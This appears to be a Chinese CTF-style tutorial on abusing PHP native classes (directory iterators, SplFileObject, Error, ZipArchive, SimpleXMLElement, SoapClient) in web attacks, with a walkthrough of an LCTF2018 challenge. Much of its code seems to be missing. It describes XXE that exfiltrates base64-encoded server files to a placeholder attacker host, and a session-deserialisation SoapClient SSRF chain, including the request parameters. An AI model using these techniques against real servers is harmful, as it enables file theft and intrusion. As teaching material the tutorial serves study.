【PHP_原生函数的利用】

一、什么是原生类



二、什么情况下需要原生类

三、目录文件读取类

Directorylterator


Filesystem

GlobIterator

遍历目录类 | 绕过open_basedir

文件读取类 | SpIFileObject

不能用遍历可以用伪协议


练习



四、报错类

Error


报错类 | XSS利用



绕过哈希比较

五、原生类

反射类



练习


六、压缩类




运行后就可以看到shell.php 被删除了

练习



七、SimpleXMLElement


练习


evil.xml:定义了外部实体引用,通过http://xxx.xxx.xxx.send.dtd加载远程DTD文件。

send.dtd:定义了实体%file读取服务器文件(如function.php)并Base64编码,然后通过实体%all和%send将数据外带到攻击者的HTTP服务器(http://xxx.xxx.xxx.xx:1234/)。

module=SimpleXMLElement:指定实例化PHP内置的 SimpleXMLElement类。

args\[\]=http://xxx.xxx.xxx.xxx/evil.xml:这是传递给类构造函数的 第一个参数($data)。它告诉 SimpleXMLElement从一个 远程URL​ 加载XML数据。这个URL指向攻击者控制的VPS上的 evil.xml文件。

args\[\]=2:这是 第二个参数($options)。值 2对应 LIBXML_NOENT常量,该选项会启用外部实体替换,这是XXE攻击能够成功的关键。

args\[\]=true:这是 第三个参数($data_is_url)。设为 true表示第一个参数 ($data) 是一个XML文件的URL,而不是直接的XML字符串。

受害者服务器(靶场):当访问上述链接时,show.php会实例化 SimpleXMLElement类。

类加载远程XML:由于 $data_is_url为 true,该类会向 http://xxx.xxx.xxx.xxx/evil.xml发起HTTP请求,获取恶意XML内容。

攻击者VPS(evil.xml):evil.xml文件中包含了恶意的 DTD(文档类型定义)。这个DTD通常会做两件事:

定义一个外部实体,通过 php://filter等伪协议去读取服务器本地的敏感文件(如 function.php、index.php等),并进行Base64编码。

定义另一个外部实体,将读取到的文件内容通过一个HTTP请求发送到攻击者VPS的另一个监听端口。

解析与数据外带:SimpleXMLElement在解析 evil.xml时,因为启用了 LIBXML_NOENT,会执行DTD中定义的这些操作。

八、SoapClient 类


通过换行符构造了一个post 将原本的header信息挤进了body里面

练习

先拆解 index.php关键代码的作用:

b = 'implode' 将字符串 'implode' 赋值给变量 b

call_user_func(_GET\['f'\], _POST); 核心漏洞点

call_user_func用于"调用由第一个参数指定的函数,第二个参数是传递给该函数的数组型参数"。因此,攻击者可通过 GET的 f 参数指定任意函数,通过 POST传递函数参数,实现任意函数调用。

复制代码
if(isset($_GET['name'])){ $_SESSION['name'] = $_GET['name']; }:若 GET传 name,则将其值存入会话 $_SESSION['name']。

$a = array(reset($_SESSION), 'welcome_to_the_lctf2018');:reset($_SESSION)

取会话数组的第一个元素值,因此 $a是 会话第一个元素值, 'welcome_to_the_lctf2018'。

call_user_func(b, a); 因 b=′implode′,等价于implode(b = 'implode',等价于 implode(b=′implode′,等价于implode(a) 将 $a数组用空字符串拼接成一个新字符串。

所以这段代码的含义就是通过 call_user_func 将传入的 f 当成函数来执行post里面里的参数,如果有给name传入参数就将传入的name存到session里面,而flag.php 如果本地访问就将flag存入session

在 index.php 代码中,call_user_func(_GET\['f'\], _POST);允许调用任意函数。通过传入 f=extract,然后 POST数据中包含 b=call_user_func,就能覆盖 $b变量。

复制代码
$b = 'implode';

请求触发覆盖:

复制代码
发送 GET请求:index.php?f=extract

发送 POST数据:b=call_user_func

这会导致执行:

复制代码
call_user_func('extract', $_POST);

相当于:

复制代码
extract($_POST);

extract(_POST)会将 _POST数组中的键值对转换为当前作用域中的变量。例如 _POST\['b'\] = 'call_user_func'会使 b被赋值为 'call_user_func',从而覆盖原来的 $b = 'implode'。

覆盖后,代码最后的 call_user_func(b, a);变为:

复制代码
call_user_func('call_user_func', $a);

这实际上是调用 call_user_func函数,并将 a 作为参数传递。而 a 是一个数组,其第一个元素是 reset($_SESSION)(是我们精心构造的 SoapClient对象),第二个元素是字符串 'welcome_to_the_lctf2018'。

因此,最终执行的是:

复制代码
call_user_func(reset($_SESSION), 'welcome_to_the_lctf2018');

这就会尝试调用 SoapClient对象的 welcome_to_the_lctf2018方法(不存在),从而触发 __call魔术方法,发起 SSRF 请求。

这段代码给session_start函数传入

data = {'serialize_handler': 'php_serialize'}

通过这个 POST 请求,服务器端的 session_start()会使用 php_serialize处理器来处理会话数据,从而保证后续插入的 SoapClient 序列化字符串能被正确解析

构造利用的必要性:

我们需要在 $_SESSION中存入一个包含 SoapClient对象的数组:SoapClient对象, '方法名',这样 reset($_SESSION)才能返回这个数组。

只有 php_serialize能正确存储这种结构,保证后续读取时 SoapClient对象被正确恢复(触发 __call)。

相关推荐
Novproxy_Z4 分钟前
IPv4 与 IPv6 代理在跨境自动化场景下的选型与风险
运维·自动化·php
kimnoic1 小时前
PHP 8.3 数据库备份失败怎么排查
开发语言·php
CRMEB系统商城1 小时前
CRMEB开源商城系统(PHP)v8.0,打造全新AI二开商城底座!
开发语言·人工智能·小程序·开源·php
云川之下1 小时前
【存储】搭建nfs 存储示例
开发语言·php
天空属于哈夫克32 小时前
企业微信消息回调处理:如何避免慢查询拖垮整个服务?
数据库·php·企业微信
4SAPI2 小时前
多模型API调用实战:一个项目接入GPT、Claude和DeepSeek
linux·人工智能·gpt·php
PHP实战开发录2 小时前
PHP上传文件为什么会被覆盖
数据库·mysql·php
IMPYLH3 小时前
Linux 运维基础:从入门到实战的完整指南
linux·运维·php
kiros_wang7 小时前
网络状态监听&WiFi信息获取:弱网提示、断网兜底方案
开发语言·网络·php
郑州光合科技余经理7 小时前
本地生活服务系统:预约状态和进度通知接口怎么拆
java·开发语言·前端·javascript·后端·php·生活